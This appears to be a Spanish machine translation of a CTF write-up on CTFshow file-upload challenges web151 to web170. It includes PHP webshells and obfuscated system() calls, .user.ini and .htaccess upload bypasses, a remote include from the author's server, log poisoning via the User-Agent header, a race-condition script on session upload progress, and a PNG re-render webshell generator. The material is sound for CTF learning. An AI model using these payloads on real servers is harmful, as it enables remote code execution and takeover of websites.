Carga de archivo de entrada CTFshow-WEB (actualización continua)

web151

Detección de front-end, captura de paquetes y cambio de sufijo.

web152

Pasar directamente

web153

php2, php3, php4, php5, phps, pht, phtm, phtml
se han probado y ninguno de ellos funciona. Por lo tanto, el entorno es nginx, no apache, por lo que .htaccess tampoco funciona. Visite el directorio / upload / y descubra que la página existe. Después de la prueba, /upload/index.php existe, así que pensé en cargar .user.ini
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

web154

Después de la prueba, no puede haber php en el archivo, y el sufijo se filtra, y también se usa el .user.ini, y el contenido del archivo se filtra usando etiquetas cortas de PHP: <?=puede:

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

web155

Lo mismo que arriba.


------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png

GIF89a
<?= eval($_POST[0]);?>
------WebKitFormBoundaryUpTShwppxfZXSbY7--

------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file="1.feng"
------WebKitFormBoundaryUpTShwppxfZXSbY7--

Además, hay 4 tipos de etiquetas php mencionadas en el WP de Master Yu, y los extractos son los siguientes:
1.

<? echo '123';?>

La premisa es activar el parámetro de configuración short_open_tags = en
2,

<?=(表达式)?>  等价于 <?php echo (表达式)?>

No es necesario abrir la configuración de parámetros

3 、

<% echo '123';%>

La premisa es que el parámetro de configuración asp_tags = on está activado. Después de la prueba, se encuentra que la versión 7.0 y superior no se puede usar después de que se completa la modificación, pero se informa un error 500, pero la versión inferior a 7.0 se puede usar después se modifica la configuración.
4.

<script language=”php”>echo '123'; </script>

No es necesario modificar el conmutador de parámetros, pero solo se puede utilizar en 7.0.

Entonces, si es una versión por debajo de php7, la idea puede desarrollarse más.

web156

Después de la prueba, se encuentra que [y] está filtrado, solo use {} para omitirlo.

web157

El {} y el punto y coma también se filtran sobre la base de lo anterior, así que lea flag.php directamente. Si no hay punto y coma, simplemente tome?> Para cerrarlo al final.


------WebKitFormBoundary949cEK9448VGhzDU
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png

GIF89a
<?= system("cat /var/www/html/fl*")?>
------WebKitFormBoundary949cEK9448VGhzDU--

web158

Lo mismo que arriba

web159

Filtra los paréntesis, solo usa comillas invertidas.

web160

También se otorgan tildes acentuados y espacios para prohibir. Pensando en la inclusión de archivos, intente la inclusión remota de archivos. Ma escribe en su propio servidor y luego incluye de forma remota:

GIF89a
<?=include"http://118.***.***.***/feng"?>

El comando se ejecutó con éxito.

Intente incluir el archivo de registro nuevamente y descubra que el registro también está prohibido, por lo que no funciona.
Pero, de hecho, está bien. Soy demasiado bueno en eso. Puedes hacer esto:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

¡Aprenda a trabajar alrededor!

web161

Parece aumentar el juicio de la imagen, solo agregue el encabezado de la imagen.

web162

Se vuelve a utilizar la inclusión del archivo de sesión anterior. Con referencia específica al uso de session.upload_progress, los archivos contienen una
referencia de script de penetración de deserialización, el maestro de plumas, imitándose a sí mismo, escribió un:

import requests
import threading

url="http://4101ed9a-5734-4c58-a661-5697ba7b2325.chall.ctf.show"

data={
    
    
    "PHP_SESSION_UPLOAD_PROGRESS":'<?php system("cat /var/www/html/flag.php");?>'
}
files={
    
    
    "file":"feng.txt"
}
cookies={
    
    
    "PHPSESSID":"feng"
}

def upload():
    global url,data,files,cookies
    while 1:
        requests.post(url=url,data=data,files=files,cookies=cookies)
def getFlag():
    global url
    while 1:
        r=requests.get(url=url+"/upload/index.php").text
        if "flag{" in r or "ctfshow{" in r:
            print(r)

t1=threading.Thread(target=upload,args=())
t2=threading.Thread(target=getFlag,args=())
t1.start()
t2.start()

web163

Igual que el anterior, pero la probabilidad de competencia condicional es particularmente baja. . . También puede ser un problema con mi velocidad de Internet.

web164

Estudié el renderizado secundario y también soy muy bueno en él. La primera vez que encontré el renderizado secundario, me referí al artículo recomendado por Master Yu: Autorización de Upload-Labs Pass-16 (bypass de renderizado secundario) Explicación detallada de la
carga caballos de imagen png, el guión es el siguiente:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    
    
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

Use un script para cambiar la imagen localmente, cárguela y luego descárguela para ejecutar el comando:
Inserte la descripción de la imagen aquí
vea download.php? Image =, sospecha que el archivo puede contener algo, por lo que puede ejecutar el comando, de lo contrario no lo hará trabaja. Sin embargo, según el código fuente, el archivo contiene:

$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
    
    
	header('Content-Type:image/png');
	include("./upload/".strrev($file));
}else{
    
    
	echo "图片错误";
}}

web165

Para la representación secundaria de imágenes jpg, puede utilizar el script para procesar imágenes jpg en el artículo de la pregunta anterior, pero necesita encontrar una imagen jpg adecuada. Probé treinta o cuarenta imágenes y no funcionó. Vomité y se rindió.

web166

Cargue el archivo zip, pero sin ninguna detección, cambie directamente el sufijo del caballo de Troya de una frase php a zip, y luego cárguelo.

web167

Consulte httpd, que está relacionado con apache. Mencionar apache pensará en .htaccess, así que cargue .htaccess para analizar .jpg:

AddType application/x-httpd-php .jpg

web168

Después de filtrar eval y system, use comillas invertidas:

<?php echo `cat /var/www/html/*`;?>

Después de echar un vistazo al WP del Maestro Yu, hizo muchas posturas sin pasar por alto y aprendió:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169

Es tan difícil de pasar. Bp no puede atrapar el paquete. Sigue diciendo que el tipo es incorrecto. Después de zip, finalmente puede atrapar el paquete, pero también dice que el tipo es incorrecto.
Luego cambie el tipo de contenido a image / png para cargar php normalmente, pero hay demasiado filtrado en esta pregunta, porque cargar .user.ini contiene archivos de registro y escribir caballos en el encabezado UA, y luego cargar el archivo php es inútil, solo para cooperar con .user.ini.


------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--


------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--

Escriba caballo en el encabezado UA y luego ejecute el comando.

web170

Lo mismo que arriba

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/112894997
Recomendado
Clasificación